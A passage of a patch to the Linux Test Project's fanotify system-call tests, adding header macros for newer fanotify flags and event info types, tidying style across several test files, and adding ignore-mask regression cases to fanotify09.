+#define FAN_MARK_IGNORE_SURV	(FAN_MARK_IGNORE | FAN_MARK_IGNORED_SURV_MODIFY)
+#endif
+/* Non-uapi convenience macros */
+#ifndef FAN_MARK_IGNORED_SURV
+#define FAN_MARK_IGNORED_SURV	(FAN_MARK_IGNORED_MASK | FAN_MARK_IGNORED_SURV_MODIFY)
+#endif
+#ifndef FAN_MARK_PARENT
+#define FAN_MARK_PARENT		FAN_MARK_ONLYDIR
+#endif
+#ifndef FAN_MARK_SUBDIR
+#define FAN_MARK_SUBDIR		FAN_MARK_ONLYDIR
+#endif
+#ifndef FAN_MARK_TYPES
+#define FAN_MARK_TYPES (FAN_MARK_INODE | FAN_MARK_MOUNT | FAN_MARK_FILESYSTEM)
+#endif
+
 /* New dirent event masks */
 #ifndef FAN_ATTRIB
 #define FAN_ATTRIB		0x00000004
@@ -124,6 +157,20 @@
 #ifndef FAN_OPEN_EXEC_PERM
 #define FAN_OPEN_EXEC_PERM	0x00040000
 #endif
+#ifndef FAN_FS_ERROR
+#define FAN_FS_ERROR		0x00008000
+#endif
+#ifndef FAN_RENAME
+#define FAN_RENAME		0x10000000
+#endif
+
+/* Additional error status codes that can be returned to userspace */
+#ifndef FAN_NOPIDFD
+#define FAN_NOPIDFD		-1
+#endif
+#ifndef FAN_EPIDFD
+#define FAN_EPIDFD		-2
+#endif
 
 /* Flags required for unprivileged user group */
 #define FANOTIFY_REQUIRED_USER_INIT_FLAGS    (FAN_REPORT_FID)
@@ -140,12 +187,12 @@
 
 struct fanotify_group_type {
 	unsigned int flag;
-	const char * name;
+	const char *name;
 };
 
 struct fanotify_mark_type {
 	unsigned int flag;
-	const char * name;
+	const char *name;
 };
 
 #ifndef __kernel_fsid_t
@@ -164,6 +211,19 @@
 #ifndef FAN_EVENT_INFO_TYPE_DFID
 #define FAN_EVENT_INFO_TYPE_DFID	3
 #endif
+#ifndef FAN_EVENT_INFO_TYPE_PIDFD
+#define FAN_EVENT_INFO_TYPE_PIDFD	4
+#endif
+#ifndef FAN_EVENT_INFO_TYPE_ERROR
+#define FAN_EVENT_INFO_TYPE_ERROR	5
+#endif
+
+#ifndef FAN_EVENT_INFO_TYPE_OLD_DFID_NAME
+#define FAN_EVENT_INFO_TYPE_OLD_DFID_NAME	10
+#endif
+#ifndef FAN_EVENT_INFO_TYPE_NEW_DFID_NAME
+#define FAN_EVENT_INFO_TYPE_NEW_DFID_NAME	12
+#endif
 
 #ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_HEADER
 struct fanotify_event_info_header {
@@ -181,6 +241,21 @@
 };
 #endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_FID */
 
+#ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_PIDFD
+struct fanotify_event_info_pidfd {
+	struct fanotify_event_info_header hdr;
+	int32_t pidfd;
+};
+#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_PIDFD */
+
+#ifndef HAVE_STRUCT_FANOTIFY_EVENT_INFO_ERROR
+struct fanotify_event_info_error {
+	struct fanotify_event_info_header hdr;
+	__s32 error;
+	__u32 error_count;
+};
+#endif /* HAVE_STRUCT_FANOTIFY_EVENT_INFO_ERROR */
+
 /* NOTE: only for struct fanotify_event_info_fid */
 #ifdef HAVE_STRUCT_FANOTIFY_EVENT_INFO_FID_FSID___VAL
 # define FSID_VAL_MEMBER(fsid, i) (fsid.__val[i])
@@ -220,6 +295,10 @@
 	}
 }
 
+#ifndef FILEID_INVALID
+#define FILEID_INVALID		0xff
+#endif
+
 struct fanotify_fid_t {
 	__kernel_fsid_t fsid;
 	struct file_handle handle;
@@ -266,14 +345,16 @@
 	SAFE_CLOSE(fd);
 }
 
-static inline int fanotify_events_supported_by_kernel(uint64_t mask)
+static inline int fanotify_events_supported_by_kernel(uint64_t mask,
+						      unsigned int init_flags,
+						      unsigned int mark_flags)
 {
 	int fd;
 	int rval = 0;
 
-	fd = SAFE_FANOTIFY_INIT(FAN_CLASS_CONTENT, O_RDONLY);
+	fd = SAFE_FANOTIFY_INIT(init_flags, O_RDONLY);
 
-	if (fanotify_mark(fd, FAN_MARK_ADD, mask, AT_FDCWD, ".") < 0) {
+	if (fanotify_mark(fd, FAN_MARK_ADD | mark_flags, mask, AT_FDCWD, ".") < 0) {
 		if (errno == EINVAL) {
 			rval = -1;
 		} else {
@@ -347,10 +428,13 @@
 #define FANOTIFY_INIT_FLAGS_ERR_MSG(flags, fail) \
 	fanotify_init_flags_err_msg(#flags, __FILE__, __LINE__, tst_res_, (fail))
 
-#define REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(flags, fname) do { \
+#define REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(flags, fname) \
 	fanotify_init_flags_err_msg(#flags, __FILE__, __LINE__, tst_brk_, \
-		fanotify_init_flags_supported_on_fs(flags, fname)); \
-	} while (0)
+		fanotify_init_flags_supported_on_fs(flags, fname))
+
+#define REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_BY_KERNEL(flags) \
+	fanotify_init_flags_err_msg(#flags, __FILE__, __LINE__, tst_brk_, \
+		fanotify_init_flags_supported_by_kernel(flags))
 
 static inline int fanotify_mark_supported_by_kernel(uint64_t flag)
 {
@@ -373,4 +457,42 @@
 	return rval;
 }
 
+#define REQUIRE_MARK_TYPE_SUPPORTED_BY_KERNEL(mark_type) \
+	fanotify_init_flags_err_msg(#mark_type, __FILE__, __LINE__, tst_brk_, \
+				    fanotify_mark_supported_by_kernel(mark_type))
+
+#define REQUIRE_FANOTIFY_EVENTS_SUPPORTED_ON_FS(init_flags, mark_type, mask, fname) do { \
+	if (mark_type)							\
+		REQUIRE_MARK_TYPE_SUPPORTED_BY_KERNEL(mark_type);	\
+	if (init_flags)							\
+		REQUIRE_FANOTIFY_INIT_FLAGS_SUPPORTED_ON_FS(init_flags, fname); \
+	fanotify_init_flags_err_msg(#mask, __FILE__, __LINE__, tst_brk_, \
+		fanotify_events_supported_by_kernel(mask, init_flags, mark_type)); \
+} while (0)
+
+static inline struct fanotify_event_info_header *get_event_info(
+					struct fanotify_event_metadata *event,
+					int info_type)
+{
+	struct fanotify_event_info_header *hdr = NULL;
+	char *start = (char *) event;
+	int off;
+
+	for (off = event->metadata_len; (off+sizeof(*hdr)) < event->event_len;
+	     off += hdr->len) {
+		hdr = (struct fanotify_event_info_header *) &(start[off]);
+		if (hdr->info_type == info_type)
+			return hdr;
+	}
+	return NULL;
+}
+
+#define get_event_info_error(event)					\
+	((struct fanotify_event_info_error *)				\
+	 get_event_info((event), FAN_EVENT_INFO_TYPE_ERROR))
+
+#define get_event_info_fid(event)					\
+	((struct fanotify_event_info_fid *)				\
+	 get_event_info((event), FAN_EVENT_INFO_TYPE_FID))
+
 #endif /* __FANOTIFY_H__ */
diff --git a/testcases/kernel/syscalls/fanotify/fanotify01.c b/testcases/kernel/syscalls/fanotify/fanotify01.c
index 6b64e5b..23b88cd 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify01.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify01.c
@@ -26,7 +26,7 @@
 
 #define EVENT_MAX 1024
 /* size of the event structure, not counting name */
-#define EVENT_SIZE  (sizeof (struct fanotify_event_metadata))
+#define EVENT_SIZE  (sizeof(struct fanotify_event_metadata))
 /* reasonable guess as to size of 1024 events */
 #define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
 
@@ -252,21 +252,21 @@
 				"got unnecessary event: mask=%llx "
 				"pid=%u fd=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd);
+				(unsigned int)event->pid, event->fd);
 		} else if (!(event->mask & event_set[test_num])) {
 			tst_res(TFAIL,
 				"got event: mask=%llx (expected %llx) "
 				"pid=%u fd=%d",
 				(unsigned long long)event->mask,
 				event_set[test_num],
-				(unsigned)event->pid, event->fd);
+				(unsigned int)event->pid, event->fd);
 		} else if (event->pid != getpid()) {
 			tst_res(TFAIL,
 				"got event: mask=%llx pid=%u "
 				"(expected %u) fd=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid,
-				(unsigned)getpid(),
+				(unsigned int)event->pid,
+				(unsigned int)getpid(),
 				event->fd);
 		} else {
 			if (event->fd == -2 || (event->fd == FAN_NOFD &&
@@ -279,7 +279,7 @@
 					"of event: mask=%llx pid=%u "
 					"fd=%d ret=%d (errno=%d)",
 					(unsigned long long)event->mask,
-					(unsigned)event->pid,
+					(unsigned int)event->pid,
 					event->fd, ret, errno);
 			} else if (memcmp(buf, fname, strlen(fname))) {
 				tst_res(TFAIL,
@@ -287,16 +287,17 @@
 					"of event: mask=%llx pid=%u "
 					"fd=%d",
 					(unsigned long long)event->mask,
-					(unsigned)event->pid,
+					(unsigned int)event->pid,
 					event->fd);
 			} else {
 pass:
 				tst_res(TPASS,
 					"got event: mask=%llx pid=%u fd=%d",
 					(unsigned long long)event->mask,
-					(unsigned)event->pid, event->fd);
+					(unsigned int)event->pid, event->fd);
 			}
 		}
+
 		/*
 		 * We have verified the data now so close fd and
 		 * invalidate it so that we don't check it again
@@ -306,17 +307,20 @@
 			SAFE_CLOSE(event->fd);
 		event->fd = -2;
 		event->mask &= ~event_set[test_num];
+
 		/* No events left in current mask? Go for next event */
-		if (event->mask == 0) {
+		if (event->mask == 0)
 			i += event->event_len;
-		}
+
 		test_num++;
 	}
+
 	for (; test_num < TST_TOTAL; test_num++) {
 		tst_res(TFAIL, "didn't get event: mask=%llx",
 			event_set[test_num]);
 
 	}
+
 	/* Remove mark to clear FAN_MARK_IGNORED_SURV_MODIFY */
 	SAFE_FANOTIFY_MARK(fd_notify, FAN_MARK_REMOVE | mark->flag,
 			  FAN_ACCESS | FAN_MODIFY | FAN_CLOSE | FAN_OPEN,
diff --git a/testcases/kernel/syscalls/fanotify/fanotify02.c b/testcases/kernel/syscalls/fanotify/fanotify02.c
index eb40a2e..9132e1a 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify02.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify02.c
@@ -26,7 +26,7 @@
 
 #define EVENT_MAX 1024
 /* size of the event structure, not counting name */
-#define EVENT_SIZE  (sizeof (struct fanotify_event_metadata))
+#define EVENT_SIZE  (sizeof(struct fanotify_event_metadata))
 /* reasonable guess as to size of 1024 events */
 #define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
 
@@ -41,7 +41,7 @@
 
 static char event_buf[EVENT_BUF_LEN];
 
-void test01(void)
+static void test01(void)
 {
 	int ret, len, i = 0, test_num = 0;
 
@@ -139,27 +139,27 @@
 				"get unnecessary event: mask=%llx "
 				"pid=%u fd=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd);
+				(unsigned int)event->pid, event->fd);
 		} else if (!(event->mask & event_set[test_num])) {
 			tst_res(TFAIL,
 				"got event: mask=%llx (expected %llx) "
 				"pid=%u fd=%d",
 				(unsigned long long)event->mask,
 				event_set[test_num],
-				(unsigned)event->pid, event->fd);
+				(unsigned int)event->pid, event->fd);
 		} else if (event->pid != getpid()) {
 			tst_res(TFAIL,
 				"got event: mask=%llx pid=%u "
 				"(expected %u) fd=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid,
-				(unsigned)getpid(),
+				(unsigned int)event->pid,
+				(unsigned int)getpid(),
 				event->fd);
 		} else {
 			tst_res(TPASS,
 				"got event: mask=%llx pid=%u fd=%u",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd);
+				(unsigned int)event->pid, event->fd);
 		}
 		event->mask &= ~event_set[test_num];
 		/* No events left in current mask? Go for next event */
diff --git a/testcases/kernel/syscalls/fanotify/fanotify03.c b/testcases/kernel/syscalls/fanotify/fanotify03.c
index 26d17e6..a3b9d5c 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify03.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify03.c
@@ -30,7 +30,7 @@
 
 #define EVENT_MAX 1024
 /* size of the event structure, not counting name */
-#define EVENT_SIZE  (sizeof (struct fanotify_event_metadata))
+#define EVENT_SIZE  (sizeof(struct fanotify_event_metadata))
 /* reasonable guess as to size of 1024 events */
 #define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
 /* Size large enough to hold a reasonable amount of expected event objects */
@@ -273,20 +273,20 @@
 				"pid=%u fd=%d",
 				(unsigned long long)event->mask,
 				event_set[test_num].mask,
-				(unsigned)event->pid, event->fd);
+				(unsigned int)event->pid, event->fd);
 		} else if (event->pid != child_pid) {
 			tst_res(TFAIL,
 				"got event: mask=%llx pid=%u "
 				"(expected %u) fd=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid,
-				(unsigned)child_pid,
+				(unsigned int)event->pid,
+				(unsigned int)child_pid,
 				event->fd);
 		} else {
 			tst_res(TPASS,
 				"got event: mask=%llx pid=%u fd=%d",
 				(unsigned long long)event->mask,
-				(unsigned)event->pid, event->fd);
+				(unsigned int)event->pid, event->fd);
 		}
 
 		/* Write response to the permission event */
@@ -323,8 +323,8 @@
 	require_fanotify_access_permissions_supported_by_kernel();
 
 	filesystem_mark_unsupported = fanotify_mark_supported_by_kernel(FAN_MARK_FILESYSTEM);
-	exec_events_unsupported = fanotify_events_supported_by_kernel(FAN_OPEN_EXEC_PERM);
-
+	exec_events_unsupported = fanotify_events_supported_by_kernel(FAN_OPEN_EXEC_PERM,
+								      FAN_CLASS_CONTENT, 0);
 	sprintf(fname, MOUNT_PATH"/fname_%d", getpid());
 	SAFE_FILE_PRINTF(fname, "1");
 
diff --git a/testcases/kernel/syscalls/fanotify/fanotify04.c b/testcases/kernel/syscalls/fanotify/fanotify04.c
index b23d7a9..8541a7b 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify04.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify04.c
@@ -24,11 +24,8 @@
 #ifdef HAVE_SYS_FANOTIFY_H
 #include "fanotify.h"
 
-#define EVENT_MAX 1024
 /* size of the event structure, not counting name */
-#define EVENT_SIZE  (sizeof (struct fanotify_event_metadata))
-/* reasonable guess as to size of 1024 events */
-#define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
+#define EVENT_SIZE  (sizeof(struct fanotify_event_metadata))
 
 #define BUF_SIZE 256
 #define TST_TOTAL 9
@@ -37,9 +34,7 @@
 static char sname[BUF_SIZE];
 static char dir[BUF_SIZE];
 static int fd_notify;
-
-static int len;
-static char event_buf[EVENT_BUF_LEN];
+static char event_buf[EVENT_SIZE];
 
 static char *expect_str_fail(int expect)
 {
@@ -104,16 +99,12 @@
 
 static void verify_event(int mask)
 {
-	int ret;
 	struct fanotify_event_metadata *event;
 	struct stat st;
 
 	/* Read the event */
-	ret = SAFE_READ(0, fd_notify, event_buf + len,
-			EVENT_BUF_LEN - len);
-	event = (struct fanotify_event_metadata *)&event_buf[len];
-	len += ret;
-
+	SAFE_READ(0, fd_notify, event_buf, EVENT_SIZE);
+	event = (struct fanotify_event_metadata *)&event_buf;
 	if (event->mask != FAN_OPEN) {
 		tst_res(TFAIL, "got unexpected event %llx",
 			(unsigned long long)event->mask);
@@ -146,11 +137,11 @@
 {
 	int ret;
 
-	ret = read(fd_notify, event_buf + len, EVENT_BUF_LEN - len);
+	ret = read(fd_notify, event_buf, EVENT_SIZE);
 	if (ret != -1) {
 		struct fanotify_event_metadata *event;
 
-		event = (struct fanotify_event_metadata *)&event_buf[len];
+		event = (struct fanotify_event_metadata *)&event_buf;
 		tst_res(TFAIL, "seen unexpected event (mask %llx)",
 			(unsigned long long)event->mask);
 		/* Cleanup fd from the event */
@@ -158,7 +149,7 @@
 			SAFE_CLOSE(event->fd);
 	} else if (errno != EAGAIN) {
 		tst_res(TFAIL | TERRNO, "read(%d, buf, %zu) failed", fd_notify,
-			EVENT_BUF_LEN);
+			EVENT_SIZE);
 	} else {
 		tst_res(TPASS, "No event as expected");
 	}
@@ -171,7 +162,7 @@
 	verify_no_event();
 }
 
-void test01(void)
+static void test01(void)
 {
 	/* Check ONLYDIR on a directory */
 	CHECK_MARK(".", FAN_MARK_ONLYDIR, 0, NULL);
diff --git a/testcases/kernel/syscalls/fanotify/fanotify05.c b/testcases/kernel/syscalls/fanotify/fanotify05.c
index 1c683c4..04670cb 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify05.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify05.c
@@ -63,23 +63,24 @@
 static char fdpath[BUF_SIZE];
 static int fd, fd_notify;
 
-struct fanotify_event_metadata event;
+static struct fanotify_event_metadata event;
 
 static void event_res(struct fanotify_event_metadata *event, int i)
 {
 	int len = 0;
 	const char *filename;
+
 	sprintf(symlnk, "/proc/self/fd/%d", event->fd);
 	len = readlink(symlnk, fdpath, sizeof(fdpath));
 	if (len < 0)
 		len = 0;
 	fdpath[len] = 0;
 	filename = basename(fdpath);
-	if (len > FNAME_PREFIX_LEN && atoi(filename + FNAME_PREFIX_LEN) != i) {
+
+	if (len > FNAME_PREFIX_LEN && atoi(filename + FNAME_PREFIX_LEN) != i)
 		tst_res(TFAIL, "Got event #%d out of order filename=%s", i, filename);
-	} else if (i == 0) {
+	else if (i == 0)
 		tst_res(TINFO, "Got event #%d filename=%s", i, filename);
-	}
 }
 
 static void generate_events(int open_flags, int num_files)
@@ -158,27 +159,25 @@
 		if (event.mask != FAN_OPEN &&
 		    event.mask != FAN_Q_OVERFLOW) {
 			tst_res(TFAIL,
-				"got event: mask=%llx (expected %llx)"
-				"pid=%u fd=%d",
+				"got event: mask=%llx (expected %llx) pid=%u fd=%d",
 				(unsigned long long)event.mask,
 				(unsigned long long)FAN_OPEN,
-				(unsigned)event.pid, event.fd);
+				(unsigned int)event.pid, event.fd);
 			break;
 		}
 		if (event.mask == FAN_Q_OVERFLOW) {
 			if (got_overflow || event.fd != FAN_NOFD) {
 				tst_res(TFAIL,
-					"%s overflow event: "
-					"mask=%llx pid=%u fd=%d",
+					"%s overflow event: mask=%llx pid=%u fd=%d",
 					got_overflow ? "unexpected" : "invalid",
 					(unsigned long long)event.mask,
-					(unsigned)event.pid,
+					(unsigned int)event.pid,
 					event.fd);
 				break;
 			}
 			tst_res(expect_overflow ? TPASS : TFAIL,
 				"Got an overflow event: pid=%u fd=%d",
-				(unsigned)event.pid, event.fd);
+				(unsigned int)event.pid, event.fd);
 			got_overflow = 1;
 		}
 	}
diff --git a/testcases/kernel/syscalls/fanotify/fanotify06.c b/testcases/kernel/syscalls/fanotify/fanotify06.c
index 30055da..618c85a 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify06.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify06.c
@@ -45,11 +45,11 @@
 
 #define EVENT_MAX 1024
 /* size of the event structure, not counting name */
-#define EVENT_SIZE  (sizeof (struct fanotify_event_metadata))
+#define EVENT_SIZE  (sizeof(struct fanotify_event_metadata))
 /* reasonable guess as to size of 1024 events */
 #define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
 
-unsigned int fanotify_prio[] = {
+static unsigned int fanotify_prio[] = {
 	FAN_CLASS_PRE_CONTENT,
 	FAN_CLASS_CONTENT,
 	FAN_CLASS_NOTIF
@@ -124,16 +124,16 @@
 		tst_res(TFAIL, "group %d got event: mask %llx (expected %llx) "
 			"pid=%u fd=%d", group, (unsigned long long)event->mask,
 			(unsigned long long)FAN_MODIFY,
-			(unsigned)event->pid, event->fd);
+			(unsigned int)event->pid, event->fd);
 	} else if (event->pid != getpid()) {
 		tst_res(TFAIL, "group %d got event: mask %llx pid=%u "
 			"(expected %u) fd=%d", group,
-			(unsigned long long)event->mask, (unsigned)event->pid,
-			(unsigned)getpid(), event->fd);
+			(unsigned long long)event->mask, (unsigned int)event->pid,
+			(unsigned int)getpid(), event->fd);
 	} else {
 		tst_res(TPASS, "group %d got event: mask %llx pid=%u fd=%d",
 			group, (unsigned long long)event->mask,
-			(unsigned)event->pid, event->fd);
+			(unsigned int)event->pid, event->fd);
 	}
 }
 
@@ -148,7 +148,7 @@
 	}
 }
 
-void test_fanotify(unsigned int n)
+static void test_fanotify(unsigned int n)
 {
 	int ret;
 	unsigned int p, i;
@@ -158,8 +158,7 @@
 	tst_res(TINFO, "Test #%d: %s", n, tc->tname);
 
 	if (tc->use_overlay && !ovl_mounted) {
-		tst_res(TCONF,
-		        "overlayfs is not configured in this kernel.");
+		tst_res(TCONF, "overlayfs is not configured in this kernel");
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/fanotify/fanotify07.c b/testcases/kernel/syscalls/fanotify/fanotify07.c
index cc56d90..1d3c080 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify07.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify07.c
@@ -26,7 +26,6 @@
 #include <stdlib.h>
 #include <sys/stat.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
 #include <sys/wait.h>
 #include <errno.h>
 #include <string.h>
@@ -86,13 +85,23 @@
 	int child_ret;
 	int i, ret = 0;
 
-	for (i = 0; i < MAX_CHILDREN; i++)
+	for (i = 0; i < MAX_CHILDREN; i++) {
+		if (!child_pid[i])
+			continue;
+
 		SAFE_KILL(child_pid[i], SIGKILL);
+	}
 
 	for (i = 0; i < MAX_CHILDREN; i++) {
+		if (!child_pid[i])
+			continue;
+
 		SAFE_WAITPID(child_pid[i], &child_ret, 0);
+
 		if (!WIFSIGNALED(child_ret))
 			ret = 1;
+
+		child_pid[i] = 0;
 	}
 
 	return ret;
@@ -128,13 +137,11 @@
 				"pid=%u fd=%d",
 				(unsigned long long)event.mask,
 				(unsigned long long)FAN_ACCESS_PERM,
-				(unsigned)event.pid, event.fd);
+				(unsigned int)event.pid, event.fd);
 			break;
 		}
 
-		/*
-		 * We respond to permission event with 95% percent
-		 * probability. */
+		/* We respond to permission event with 95% percent probability. */
 		if (random() % 100 > 5) {
 			/* Write response to permission event */
 			resp.fd = event.fd;
@@ -190,6 +197,8 @@
 
 static void cleanup(void)
 {
+	stop_children();
+
 	if (fd_notify > 0)
 		SAFE_CLOSE(fd_notify);
 }
diff --git a/testcases/kernel/syscalls/fanotify/fanotify08.c b/testcases/kernel/syscalls/fanotify/fanotify08.c
index f86b567..de57f04 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify08.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify08.c
@@ -35,11 +35,10 @@
 
 	ret = SAFE_FCNTL(fd_notify, F_GETFD);
 
-	if ((ret & FD_CLOEXEC) == fd_bit) {
+	if ((ret & FD_CLOEXEC) == fd_bit)
 		tst_res(TPASS, "%s", msg);
-	} else {
+	else
 		tst_res(TFAIL, "%s", msg);
-	}
 
 	SAFE_CLOSE(fd_notify);
 }
diff --git a/testcases/kernel/syscalls/fanotify/fanotify09.c b/testcases/kernel/syscalls/fanotify/fanotify09.c
index d622ff3..3f2db47 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify09.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify09.c
@@ -12,21 +12,26 @@
  */
 
 /*
- * This is a regression test for commit 54a307ba8d3c:
+ * This is a regression test for commit:
  *
- *      fanotify: fix logic of events on child
+ *      54a307ba8d3c fanotify: fix logic of events on child
  *
- * Test case #1 is a regression test for commit b469e7e47c8a:
+ * Test case #1 is a regression test for commit:
  *
- *      fanotify: fix handling of events on child sub-directory
+ *      b469e7e47c8a fanotify: fix handling of events on child sub-directory
  *
- * Test case #2 is a regression test for commit 55bf882c7f13:
+ * Test case #2 is a regression test for commit:
  *
- *      fanotify: fix merging marks masks with FAN_ONDIR
+ *      55bf882c7f13 fanotify: fix merging marks masks with FAN_ONDIR
  *
- * Test case #5 is a regression test for commit 7372e79c9eb9:
+ * Test case #5 is a regression test for commit:
  *
- *      fanotify: fix logic of reporting name info with watched parent
+ *      7372e79c9eb9 fanotify: fix logic of reporting name info with watched parent
+ *
+ * Test cases #6-#7 are regression tests for commit:
+ * (from v5.19, unlikely to be backported thus not in .tags):
+ *
+ *      e730558adffb fanotify: consistent behavior for parent not watching children
  */
 
 #define _GNU_SOURCE
@@ -47,7 +52,7 @@
 
 #define EVENT_MAX 1024
 /* size of the event structure, not counting name */
-#define EVENT_SIZE  (sizeof (struct fanotify_event_metadata))
+#define EVENT_SIZE  (sizeof(struct fanotify_event_metadata))
 /* reasonable guess as to size of 1024 events */
 #define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
 
@@ -68,75 +73,169 @@
 static int mount_created;
 
 static int fan_report_dfid_unsupported;
+static int ignore_mark_unsupported;
 
 static struct tcase {
 	const char *tname;
 	struct fanotify_mark_type mark;
 	unsigned int ondir;
+	unsigned int ignore;
+	unsigned int ignore_flags;
 	unsigned int report_name;
-	const char *close_nowrite;
+	const char *event_path;
 	int nevents;
+	unsigned int nonfirst_event;
 } tcases[] = {
 	{
-		"Events on non-dir child with both parent and mount marks",
-		INIT_FANOTIFY_MARK_TYPE(MOUNT),
-		0,
-		0,
-		DIR_NAME,
-		1,
+		.tname = "Events on non-dir child with both parent and mount marks",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.event_path = DIR_NAME,
+		.nevents = 1,
 	},
 	{
-		"Events on non-dir child and subdir with both parent and mount marks",
-		INIT_FANOTIFY_MARK_TYPE(MOUNT),
-		FAN_ONDIR,
-		0,
-		DIR_NAME,
-		2,
+		.tname = "Events on non-dir child and subdir with both parent and mount marks",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ondir = FAN_ONDIR,
+		.event_path = DIR_NAME,
+		.nevents = 2,
 	},
 	{
-		"Events on non-dir child and parent with both parent and mount marks",
-		INIT_FANOTIFY_MARK_TYPE(MOUNT),
-		FAN_ONDIR,
-		0,
-		".",
-		2,
+		.tname = "Events on non-dir child and parent with both parent and mount marks",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ondir = FAN_ONDIR,
+		.event_path = ".",
+		.nevents = 2,
 	},
 	{
-		"Events on non-dir child and subdir with both parent and subdir marks",
-		INIT_FANOTIFY_MARK_TYPE(INODE),
-		FAN_ONDIR,
-		0,
-		DIR_NAME,
-		2,
+		.tname = "Events on non-dir child and subdir with both parent and subdir marks",
+		.mark = INIT_FANOTIFY_MARK_TYPE(INODE),
+		.ondir = FAN_ONDIR,
+		.event_path = DIR_NAME,
+		.nevents = 2,
 	},
 	{
-		"Events on non-dir children with both parent and mount marks",
-		INIT_FANOTIFY_MARK_TYPE(MOUNT),
-		0,
-		0,
-		FILE2_NAME,
-		2,
+		.tname = "Events on non-dir children with both parent and mount marks",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.event_path = FILE2_NAME,
+		.nevents = 2,
+		.nonfirst_event = FAN_CLOSE_NOWRITE,
 	},
 	{
-		"Events on non-dir child with both parent and mount marks and filename info",
-		INIT_FANOTIFY_MARK_TYPE(MOUNT),
-		0,
-		FAN_REPORT_DFID_NAME,
-		FILE2_NAME,
-		2,
+		.tname = "Events on non-dir child with both parent and mount marks and filename info",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.report_name = FAN_REPORT_DFID_NAME,
+		.event_path = FILE2_NAME,
+		.nevents = 2,
+		.nonfirst_event = FAN_CLOSE_NOWRITE,
+	},
+	{
+		.tname = "Events on non-dir child with ignore mask on parent",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ignore = FAN_MARK_IGNORED_MASK,
+		.event_path = DIR_NAME,
+		.nevents = 1,
+	},
+	{
+		.tname = "Events on non-dir children with surviving ignore mask on parent",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ignore = FAN_MARK_IGNORED_MASK | FAN_MARK_IGNORED_SURV_MODIFY,
+		.event_path = FILE2_NAME,
+		.nevents = 2,
+		.nonfirst_event = FAN_CLOSE_NOWRITE,
+	},
+	/* FAN_MARK_IGNORE test cases: */
+	{
+		.tname = "Events on dir with ignore mask that does not apply to dirs",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ondir = FAN_ONDIR,
+		.ignore = FAN_MARK_IGNORE_SURV,
+		.event_path = ".",
+		.nevents = 2,
+		.nonfirst_event = FAN_CLOSE_NOWRITE,
+	},
+	{
+		.tname = "Events on dir with ignore mask that does apply to dirs",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ondir = FAN_ONDIR,
+		.ignore = FAN_MARK_IGNORE_SURV,
+		.ignore_flags = FAN_ONDIR,
+		.event_path = ".",
+		.nevents = 2,
+	},
+	{
+		.tname = "Events on child with ignore mask on parent that does not apply to children",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ignore = FAN_MARK_IGNORE_SURV,
+		.event_path = FILE2_NAME,
+		.nevents = 2,
+		.nonfirst_event = FAN_CLOSE_NOWRITE,
+	},
+	{
+		.tname = "Events on child with ignore mask on parent that does apply to children",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ignore = FAN_MARK_IGNORE_SURV,
+		.ignore_flags = FAN_EVENT_ON_CHILD,
+		.event_path = FILE2_NAME,
+		.nevents = 2,
+	},
+	{
+		.tname = "Events on subdir with ignore mask on parent that does not apply to children",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ondir = FAN_ONDIR,
+		.ignore = FAN_MARK_IGNORE_SURV,
+		.ignore_flags = FAN_ONDIR,
+		.event_path = DIR_NAME,
+		.nevents = 2,
+		.nonfirst_event = FAN_CLOSE_NOWRITE,
+	},
+	{
+		.tname = "Events on subdir with ignore mask on parent that does not apply to dirs",
+		.mark = INIT_FANOTIFY_MARK_TYPE(MOUNT),
+		.ondir = FAN_ONDIR,
